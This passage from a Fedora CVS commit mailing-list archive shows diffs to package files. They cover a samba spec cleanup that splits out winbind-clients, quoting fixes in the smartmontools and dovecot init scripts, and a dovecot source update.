+    --with-libtalloc=no \
+    --enable-external-libtalloc=yes \
+    --with-libtdb=no \
+#    --enable-external-libtdb=yes \
+#    --with-aio-support \
 
 
 make  pch
 
 make  LD_LIBRARY_PATH=$RPM_BUILD_DIR/%{name}-%{samba_version}%{pre_release}/%samba_source/bin \
-	%{?_smp_mflags} \
-	all ../nsswitch/libnss_wins.so modules test_pam_modules test_nss_modules test_shlibs
+    %{?_smp_mflags} \
+    all ../nsswitch/libnss_wins.so modules test_pam_modules test_nss_modules test_shlibs
 
 make  LD_LIBRARY_PATH=$RPM_BUILD_DIR/%{name}-%{samba_version}%{pre_release}/%samba_source/bin \
-	%{?_smp_mflags} \
-	-C lib/netapi/examples
+    %{?_smp_mflags} \
+    -C lib/netapi/examples
 
 make  debug2html smbfilter bin/cifs.upcall
 
@@ -350,22 +298,22 @@ mkdir -p $RPM_BUILD_ROOT/%{_libdir}/pkgc
 cd %samba_source
 
 %makeinstall \
-	BINDIR=$RPM_BUILD_ROOT%{_bindir} \
-	BASEDIR=$RPM_BUILD_ROOT%{_prefix} \
-	SBINDIR=$RPM_BUILD_ROOT%{_sbindir} \
-	DATADIR=$RPM_BUILD_ROOT%{_datadir} \
-	LOCKDIR=$RPM_BUILD_ROOT/var/lib/samba \
-	PRIVATEDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
-	LIBDIR=$RPM_BUILD_ROOT%{_libdir}/ \
-	MODULESDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
-	CONFIGDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
-	PAMMODULESDIR=$RPM_BUILD_ROOT/%{_lib}/security \
-	MANDIR=$RPM_BUILD_ROOT%{_mandir} \
-	VARDIR=$RPM_BUILD_ROOT/var/log/samba \
-	CODEPAGEDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
-	SWATDIR=$RPM_BUILD_ROOT%{_datadir}/swat \
-	SAMBABOOK=$RPM_BUILD_ROOT%{_datadir}/swat/using_samba \
-	PIDDIR=$RPM_BUILD_ROOT/var/run
+    BINDIR=$RPM_BUILD_ROOT%{_bindir} \
+    BASEDIR=$RPM_BUILD_ROOT%{_prefix} \
+    SBINDIR=$RPM_BUILD_ROOT%{_sbindir} \
+    DATADIR=$RPM_BUILD_ROOT%{_datadir} \
+    LOCKDIR=$RPM_BUILD_ROOT/var/lib/samba \
+    PRIVATEDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
+    LIBDIR=$RPM_BUILD_ROOT%{_libdir}/ \
+    MODULESDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
+    CONFIGDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
+    PAMMODULESDIR=$RPM_BUILD_ROOT/%{_lib}/security \
+    MANDIR=$RPM_BUILD_ROOT%{_mandir} \
+    VARDIR=$RPM_BUILD_ROOT/var/log/samba \
+    CODEPAGEDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
+    SWATDIR=$RPM_BUILD_ROOT%{_datadir}/swat \
+    SAMBABOOK=$RPM_BUILD_ROOT%{_datadir}/swat/using_samba \
+    PIDDIR=$RPM_BUILD_ROOT/var/run
 
 cd ..
 
@@ -396,30 +344,12 @@ ln -sf /%{_lib}/libnss_wins.so.2  $RPM_B
 mkdir -p $RPM_BUILD_ROOT%{_libdir} $RPM_BUILD_ROOT%{_includedir}
 build_libdir="$RPM_BUILD_ROOT%{_libdir}"
 
-%if %enable_talloc
-# talloc
-cd lib/talloc
-# just to get the correct .pc file generated
-./autogen.sh && ./configure --prefix=%{_prefix} --libdir=%{_libdir}
-cd ../..
-install -m 644 lib/talloc/talloc.pc $build_libdir/pkgconfig/
-%endif
-
-%if %enable_tdb
-# tdb
-cd lib/tdb
-# just to get the correct .pc file generated
-./autogen.sh && ./configure --prefix=%{_prefix} --libdir=%{_libdir}
-cd ../..
-install -m 644 lib/tdb/tdb.pc $build_libdir/pkgconfig/
-%endif
-
 # make install puts libraries in the wrong place
 # (but at least gets the versioning right now)
 
 list="smbclient smbsharemodes netapi talloc tdb wbclient"
 for i in $list; do
-	install -m 644 %samba_source/pkgconfig/$i.pc $build_libdir/pkgconfig/ || true
+    install -m 644 %samba_source/pkgconfig/$i.pc $build_libdir/pkgconfig/ || true
 done
 
 
@@ -469,25 +399,21 @@ mv -f $RPM_BUILD_ROOT%{_mandir}/man1/ldb
 mv -f $RPM_BUILD_ROOT%{_mandir}/man1/ldbsearch.1 $RPM_BUILD_ROOT%{_mandir}/man1/ldb3search.1
 mv -f $RPM_BUILD_ROOT%{_mandir}/man1/ldbrename.1 $RPM_BUILD_ROOT%{_mandir}/man1/ldb3rename.1
 
-%if ! %enable_talloc
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so.*
-rm -f $RPM_BUILD_ROOT%{_includedir}/talloc.h
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so
-rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/talloc.pc
-%endif
-
-%if ! %enable_tdb
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so.*
-rm -f $RPM_BUILD_ROOT%{_includedir}/tdb.h
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so
-rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/tdb.pc
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so.*
+#rm -f $RPM_BUILD_ROOT%{_includedir}/talloc.h
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so
+#rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/talloc.pc
+
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so.*
+#rm -f $RPM_BUILD_ROOT%{_includedir}/tdb.h
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so
+#rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/tdb.pc
 rm -f $RPM_BUILD_ROOT%{_bindir}/tdbbackup
 rm -f $RPM_BUILD_ROOT%{_bindir}/tdbdump
 rm -f $RPM_BUILD_ROOT%{_bindir}/tdbtool
 rm -f $RPM_BUILD_ROOT%{_mandir}/man8/tdbbackup.8*
 rm -f $RPM_BUILD_ROOT%{_mandir}/man8/tdbdump.8*
 rm -f $RPM_BUILD_ROOT%{_mandir}/man8/tdbtool.8*
-%endif
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -498,8 +424,8 @@ rm -rf $RPM_BUILD_ROOT
 /sbin/chkconfig --add smb
 /sbin/chkconfig --add nmb
 if [ "$1" -ge "1" ]; then
-	/sbin/service smb condrestart >/dev/null 2>&1 || :
-	/sbin/service nmb condrestart >/dev/null 2>&1 || :
+    /sbin/service smb condrestart >/dev/null 2>&1 || :
+    /sbin/service nmb condrestart >/dev/null 2>&1 || :
 fi
 exit 0
 
@@ -522,132 +448,12 @@ exit 0
 /sbin/chkconfig --add winbind
 
 if [ "$1" -ge "1" ]; then
-	/sbin/service winbind condrestart >/dev/null 2>&1 || :
+    /sbin/service winbind condrestart >/dev/null 2>&1 || :
 fi
 
 %post common
 /sbin/ldconfig
 
-###############################################################################
-## We have new default since F-8, time to stop checking for old files are there
-## should be none in any support upgrade case
-## (keeping it commented just for reference for a while
-## 
-## # This script must be run always on installs or upgrades
-## # it checks if a previous installation have created files
-## # under /var/cache/samba and move them in that case as the
-## # new package wants them to be under /var/lib/samba for
-## # FHS compliance
-## #
-## # - we must stop the dameon if running and restart it
-## #   after the script if it was
-## # - we do not overwrite newer files
-## # - even if /etc/init.d/smb is in samba and not
-## #   samba-common we need to stop smbd/nmbd, if they
-## #   are running, here as well, or we will mess up
-## #   shared (between winbindd and smbd/nmbd) tdbs
-## 
-## OLDPATH="/var/cache/samba"
-## NEWPATH="/var/lib/samba"
-## 
-## eval ls $OLDPATH/*.tdb >/dev/null 2>&1
-## if [ $? = 0 ]; then
-##     eval testparm -s 2>/dev/null |grep "lock dir" >/dev/null
-##     if [ $? = 0 ]; then 
-## 	echo "Warning: lock dir explicitly set. Not moving tdb files to new default location"
-##     else
-## 
-## 	#Stop daemons before we move the files around
-## 
-## 	#this is what condrestart checks as well
-## 	if [ -f /var/lock/subsys/winbindd ]; then
-## 		/sbin/service winbind stop >/dev/null 2>&1 || :
-## 		# Use a dirty trick to fool condrestart later
-## 		touch /var/lock/subsys/winbindd
-## 	fi
-## 
-## 	if [ -f /var/lock/subsys/smb ]; then
-## 		/sbin/service smb stop >/dev/null 2>&1 || :
-## 		# We need to stop smbd here as we are moving also smbd owned files
-## 		# but we can't restart it until the new server is installed.
-## 		# Use a dirty trick to fool condrestart later
-## 		touch /var/lock/subsys/smb
-## 	fi
-## 
-## 	if [ -f /var/lock/subsys/nmb ]; then
-## 		/sbin/service nmb stop >/dev/null 2>&1 || :
-## 		# We need to stop smbd here as we are moving also smbd owned files
-## 		# but we can't restart it until the new server is installed.
-## 		# Use a dirty trick to fool condrestart later
-## 		touch /var/lock/subsys/nmb
-## 	fi
-## 
-## 	eval ls $NEWPATH/*.tdb >/dev/null 2>&1
-## 	if [ $? = 0 ]; then
-## 		#something strange here, lets backup this stuff and avoid just wiping it
-## 
-## 		mkdir $NEWPATH.pkgbkp
-## 		mv -f $NEWPATH/*.tdb $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 		mv -f $NEWPATH/*.dat $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 		mv -f $NEWPATH/perfmon $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 		mv -f $NEWPATH/printing $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 	fi
-## 
-## 	mv -f $OLDPATH/*.tdb $NEWPATH/ >/dev/null 2>&1
-## 	mv -f $OLDPATH/*.dat $NEWPATH/ >/dev/null 2>&1
-## 	mv -f $OLDPATH/perfmon $NEWPATH/ >/dev/null 2>&1
-## 	mv -f $OLDPATH/printing $NEWPATH/ >/dev/null 2>&1
-## 
-##     fi
-## fi
-## 
-## # We also moved private files from /etc/samba to
-## # /var/lib/samba/private so we need to migrate these as well
-## 
-## #secrets.tdb
-## if [ -f %{_sysconfdir}/samba/secrets.tdb ]; then
-## 	eval testparm -s 2>/dev/null |grep "private dir" >/dev/null
-## 	if [ $? = 0 ]; then
-## 		echo "Warning: private dir explicitly set. Not moving secrets.tdb to new default location"
-## 	else
-## 		if [ -f /var/lib/samba/private/secrets.tdb ]; then
-## 			mv -f /var/lib/samba/private/secrets.tdb /var/lib/samba/private/secrets.tdb.old
-## 		fi
-## 		mv -f %{_sysconfdir}/samba/secrets.tdb /var/lib/samba/private/secrets.tdb
-## 	fi
-## fi
-## 
-## #smbpasswd
-## if [ -f %{_sysconfdir}/samba/smbpasswd ]; then
-## 	eval testparm -s 2>/dev/null |grep "smb passwd file" >/dev/null
-## 	if [ $? = 0 ]; then
-## 		echo "Warning: smbpasswd file location explicitly set. Not moving smbpasswd to new default location"
-## 	else
-## 		if [ -f /var/lib/samba/private/smbpasswd ]; then
-## 			mv -f /var/lib/samba/private/smbpasswd /var/lib/samba/private/smbpasswd.old
-## 		fi
-## 		mv -f %{_sysconfdir}/samba/smbpasswd /var/lib/samba/private/smbpasswd
-## 	fi
-## fi
-## 
-## #passdb.tdb
-## if [ -f %{_sysconfdir}/samba/passdb.tdb ]; then
-## 	eval testparm -s 2>/dev/null |grep "private dir" >/dev/null || testparm -s 2>/dev/null |grep -P "^\s*passdb\s*backend\s*=.*tdbsam:/etc/samba/passdb.tdb.*"
-## 	if [ $? = 0 ]; then
-## 		echo "Warning: passdb.tdb location explicitly set. Not moving passdb.tdb to new default location"
-## 	else
-## 		if [ -f /var/lib/samba/private/passdb.tdb ]; then
-## 			mv -f /var/lib/samba/private/passdb.tdb /var/lib/samba/private/passdb.tdb.old
-## 		fi
-## 		mv -f %{_sysconfdir}/samba/passdb.tdb /var/lib/samba/private/passdb.tdb
-## 	fi
-## fi
-## 
-## #remove schannel_store if existing, it is not info we need to keep across restarts
-## if [ -f %{_sysconfdir}/samba/schannel_store.tdb ]; then
-## 	rm -f %{_sysconfdir}/samba/schannel_store.tdb
-## fi
-## 
 %preun winbind
 if [ $1 = 0 ] ; then
     /sbin/service winbind stop >/dev/null 2>&1 || :
@@ -665,22 +471,6 @@ exit 0
 %postun -n libsmbclient
 /sbin/ldconfig
 
-%if %enable_tdb
-%post -n libtdb
-/sbin/ldconfig
-
-%postun -n libtdb
-/sbin/ldconfig
-%endif
-
-%if %enable_talloc
-%post -n libtalloc
-/sbin/ldconfig
-
-%postun -n libtalloc
-/sbin/ldconfig
-%endif
-
 %files
 %defattr(-,root,root)
 %{_sbindir}/smbd
@@ -753,8 +543,6 @@ exit 0
 %{_libdir}/samba/lowcase.dat
 %{_libdir}/samba/upcase.dat
 %{_libdir}/samba/valid.dat
-%{_libdir}/libnss_wins.so
-/%{_lib}/libnss_wins.so.2
 %{_libdir}/libnetapi.so
 %attr(755,root,root) %{_libdir}/libnetapi.so.*
 %{_includedir}/netapi.h
@@ -800,18 +588,15 @@ exit 0
 %{_mandir}/man8/pdbedit.8*
 %{_mandir}/man8/net.8*
 
-%doc README COPYING Manifest 
+%doc README COPYING Manifest
 %doc WHATSNEW.txt Roadmap
 
 %files winbind
+%defattr(-,root,root)
 %{_bindir}/ntlm_auth
 %{_bindir}/wbinfo
-%{_libdir}/libnss_winbind.so
-%attr(755,root,root) %{_libdir}/libwbclient.so.*
 %{_libdir}/samba/idmap
 %{_libdir}/samba/nss_info
-/%{_lib}/libnss_winbind.so.2
-/%{_lib}/security/pam_winbind.so
 %{_sbindir}/winbindd
 %dir /var/run/winbindd
 %attr(750,root,wbpriv) %dir /var/lib/samba/winbindd_privileged
@@ -825,21 +610,34 @@ exit 0
 %{_mandir}/man8/idmap_*.8*
 %{_datadir}/locale/*/LC_MESSAGES/pam_winbind.mo
 
+%files winbind-clients
+%defattr(-,root,root)
+%{_libdir}/libnss_winbind.so
+/%{_lib}/libnss_winbind.so.2
+%{_libdir}/libnss_wins.so
+/%{_lib}/libnss_wins.so.2
+/%{_lib}/security/pam_winbind.so
+%attr(755,root,root) %{_libdir}/libwbclient.so.*
+
 %files winbind-devel
+%defattr(-,root,root)
 %{_includedir}/wbclient.h
 %{_libdir}/libwbclient.so
 %{_libdir}/pkgconfig/wbclient.pc
 
 %files doc
+%defattr(-,root,root)
 %doc docs/Samba3-Developers-Guide.pdf docs/Samba3-ByExample.pdf
 %doc docs/Samba3-HOWTO.pdf
 %doc docs/htmldocs
 
 %files -n libsmbclient
+%defattr(-,root,root)
 %attr(755,root,root) %{_libdir}/libsmbclient.so.*
 %attr(755,root,root) %{_libdir}/libsmbsharemodes.so.*
 
 %files -n libsmbclient-devel
+%defattr(-,root,root)
 %{_includedir}/libsmbclient.h
 %{_includedir}/smb_share_modes.h
 %{_libdir}/libsmbclient.so
@@ -848,34 +646,6 @@ exit 0
 %{_libdir}/pkgconfig/smbsharemodes.pc
 %{_mandir}/man7/libsmbclient.7*
 
-%if %enable_talloc
-%files -n libtalloc
-%attr(755,root,root) %{_libdir}/libtalloc.so.*
-
-%files -n libtalloc-devel
-%{_includedir}/talloc.h
-%{_libdir}/libtalloc.so
-%{_libdir}/pkgconfig/talloc.pc
-%endif
-
-%if %enable_tdb
-%files -n libtdb
-%attr(755,root,root) %{_libdir}/libtdb.so.*
-
-%files -n libtdb-devel
-%{_includedir}/tdb.h
-%{_libdir}/libtdb.so
-%{_libdir}/pkgconfig/tdb.pc
-
-%files -n tdb-tools
-%{_bindir}/tdbbackup
-%{_bindir}/tdbdump
-%{_bindir}/tdbtool
-%{_mandir}/man8/tdbbackup.8*
-%{_mandir}/man8/tdbdump.8*
-%{_mandir}/man8/tdbtool.8*
-%endif
-
 %files domainjoin-gui
 %{_sbindir}/netdomjoin-gui
 %dir %{_datadir}/pixmaps/samba
@@ -884,6 +654,18 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Fri Oct 09 2009 Simo Sorce <ssorce at redhat.com> - 3.4.2-47
+- Spec file cleanup
+- Fix sources upstream location
+- Remove conditionals to build talloc and tdb, now they are completely indepent
+  packages in Fedora
+- Add defattr() where missing
+- Turn all tabs into 4 spaces
+- Remove unused migration script
+- Split winbind-clients out of main winbind package to avoid multilib to include
+  huge packages for no good reason
+
+
 * Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.46
 - Update to 3.4.2
 - Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906



From mhlavink at fedoraproject.org  Fri Oct  9 18:55:09 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 18:55:09 +0000 (UTC)
Subject: rpms/smartmontools/F-11 smartd.initd, 1.9, 1.10 smartmontools.spec, 
	1.59, 1.60
Message-ID: <20091009185509.5FA2111C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv316

Modified Files:
	smartd.initd smartmontools.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-17
- fix apostrophes around shell variable



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartd.initd,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- smartd.initd	9 Oct 2009 18:37:21 -0000	1.9
+++ smartd.initd	9 Oct 2009 18:55:09 -0000	1.10
@@ -123,7 +123,7 @@ case "$1" in
 	*)
 		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
 		RETVAL=2
-		[ '$1' = 'usage' ] && RETVAL=0
+		[ "$1" = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- smartmontools.spec	9 Oct 2009 18:37:21 -0000	1.59
+++ smartmontools.spec	9 Oct 2009 18:55:09 -0000	1.60
@@ -1,6 +1,6 @@
 Name: smartmontools
 Version: 5.38
-Release: 16%{?dist}
+Release: 17%{?dist}
 Epoch: 1
 Summary:       Tools for monitoring SMART capable hard disks
 Group:         System Environment/Base
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-17
+- fix apostrophes around shell variable
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-16
 - fix init script for case when no action was specified
 



From mhlavink at fedoraproject.org  Fri Oct  9 19:01:08 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 19:01:08 +0000 (UTC)
Subject: rpms/dovecot/devel .cvsignore, 1.59, 1.60 dovecot.init, 1.7,
	1.8 dovecot.spec, 1.141, 1.142 sources, 1.63, 1.64
Message-ID: <20091009190108.DC04B11C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2884

Modified Files:
	.cvsignore dovecot.init dovecot.spec sources 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
- fix init script for case when no action was specified



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	6 Oct 2009 09:57:36 -0000	1.59
+++ .cvsignore	9 Oct 2009 19:01:08 -0000	1.60
@@ -1,4 +1,4 @@
 dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
-dovecot-1.2.5-managesieve-0.11.9.diff.gz
+dovecot-1.2.6-managesieve-0.11.9.diff.gz
 dovecot-1.2-sieve-0.1.12.tar.gz


Index: dovecot.init
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/dovecot.init,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- dovecot.init	17 Sep 2009 15:08:17 -0000	1.7
+++ dovecot.init	9 Oct 2009 19:01:08 -0000	1.8
@@ -98,8 +98,8 @@ case "$1" in
 	;;
   *)
 	echo $"Usage: $0 {condrestart|try-restart|start|stop|restart|reload|force-reload|status}"
-	[ $1 = 'usage' ] && exit 0
-	exit 2
+	RETVAL=2
+	[ "$1" = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/dovecot.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- dovecot.spec	6 Oct 2009 09:57:36 -0000	1.141
+++ dovecot.spec	9 Oct 2009 19:01:08 -0000	1.142
@@ -2,7 +2,7 @@ Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
 Version: 1.2.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT and LGPLv2 and BSD with advertising
 Group: System Environment/Daemons
 
@@ -31,7 +31,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.5-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.6-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -435,6 +435,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
+- fix init script for case when no action was specified
+
 * Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
 - dovecot updated to 1.2.6
 - Added authtest utility for doing passdb and userdb lookups.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	6 Oct 2009 09:57:36 -0000	1.63
+++ sources	9 Oct 2009 19:01:08 -0000	1.64
@@ -1,4 +1,4 @@
 807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
-22639d0bc4ff424282bd3f8fe8db9ab5  dovecot-1.2.5-managesieve-0.11.9.diff.gz
+615d5d1ad843654384ca11cf523c2bbc  dovecot-1.2.6-managesieve-0.11.9.diff.gz
 8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz



From mhlavink at fedoraproject.org  Fri Oct  9 19:03:07 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 19:03:07 +0000 (UTC)
Subject: rpms/dovecot/F-12 .cvsignore, 1.59, 1.60 dovecot.init, 1.7,
	1.8 dovecot.spec, 1.140, 1.141 sources, 1.63, 1.64
Message-ID: <20091009190307.38F9B11C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3351

Modified Files:
	.cvsignore dovecot.init dovecot.spec sources 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
- fix init script for case when no action was specified



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	6 Oct 2009 10:21:14 -0000	1.59
+++ .cvsignore	9 Oct 2009 19:03:06 -0000	1.60
@@ -1,4 +1,4 @@
 dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
-dovecot-1.2.5-managesieve-0.11.9.diff.gz
+dovecot-1.2.6-managesieve-0.11.9.diff.gz
 dovecot-1.2-sieve-0.1.12.tar.gz


Index: dovecot.init
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/dovecot.init,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- dovecot.init	17 Sep 2009 15:08:17 -0000	1.7
+++ dovecot.init	9 Oct 2009 19:03:06 -0000	1.8
@@ -98,8 +98,8 @@ case "$1" in
 	;;
   *)
 	echo $"Usage: $0 {condrestart|try-restart|start|stop|restart|reload|force-reload|status}"
-	[ $1 = 'usage' ] && exit 0
-	exit 2
+	RETVAL=2
+	[ "$1" = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/dovecot.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- dovecot.spec	6 Oct 2009 10:21:15 -0000	1.140
+++ dovecot.spec	9 Oct 2009 19:03:07 -0000	1.141
@@ -2,7 +2,7 @@ Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
 Version: 1.2.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT and LGPLv2 and BSD with advertising
 Group: System Environment/Daemons
 
@@ -31,7 +31,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.5-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.6-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -435,6 +435,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
+- fix init script for case when no action was specified
+
 * Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
 - dovecot updated to 1.2.6
 - Added authtest utility for doing passdb and userdb lookups.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	6 Oct 2009 10:21:15 -0000	1.63
+++ sources	9 Oct 2009 19:03:07 -0000	1.64
@@ -1,4 +1,4 @@
 807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
-22639d0bc4ff424282bd3f8fe8db9ab5  dovecot-1.2.5-managesieve-0.11.9.diff.gz
+615d5d1ad843654384ca11cf523c2bbc  dovecot-1.2.6-managesieve-0.11.9.diff.gz
 8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz



From mhlavink at fedoraproject.org  Fri Oct  9 19:04:46 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 19:04:46 +0000 (UTC)
Subject: rpms/dovecot/F-11 .cvsignore, 1.67, 1.68 dovecot.init, 1.6,
	1.7 dovecot.spec, 1.143, 1.144 sources, 1.70, 1.71
Message-ID: <20091009190446.4325711C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4551

Modified Files:
	.cvsignore dovecot.init dovecot.spec sources 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
- fix init script for case when no action was specified



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	6 Oct 2009 10:22:05 -0000	1.67
+++ .cvsignore	9 Oct 2009 19:04:46 -0000	1.68
@@ -1,4 +1,4 @@
 dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
-dovecot-1.2.5-managesieve-0.11.9.diff.gz
+dovecot-1.2.6-managesieve-0.11.9.diff.gz
 dovecot-1.2-sieve-0.1.12.tar.gz


Index: dovecot.init
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/dovecot.init,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- dovecot.init	29 Jul 2008 14:35:20 -0000	1.6
+++ dovecot.init	9 Oct 2009 19:04:46 -0000	1.7
@@ -28,7 +28,7 @@
 # Source function library.
 . /etc/init.d/functions
 
-if [ -f /etc/sysconfig/dovecot ]; then
+if [ -f /etc/sysconfig/dovecot -a $UID -eq 0 ]; then
     . /etc/sysconfig/dovecot
 fi
 
@@ -40,6 +40,7 @@ pidfile="/var/run/dovecot/master.pid"
 lockfile="/var/lock/subsys/dovecot"
 
 start() {
+	[ $UID -eq 0 ] || exit 4
 	[ -x $exec ] || exit 5
 	[ -f $config ] || exit 6
 
@@ -51,6 +52,7 @@ start() {
 }
 
 stop() {
+	[ $UID -eq 0 ] || exit 4
 	echo -n $"Stopping $prog: "
 	killproc -p $pidfile $exec
 	RETVAL=$?
@@ -59,6 +61,7 @@ stop() {
 }
 
 reload() {
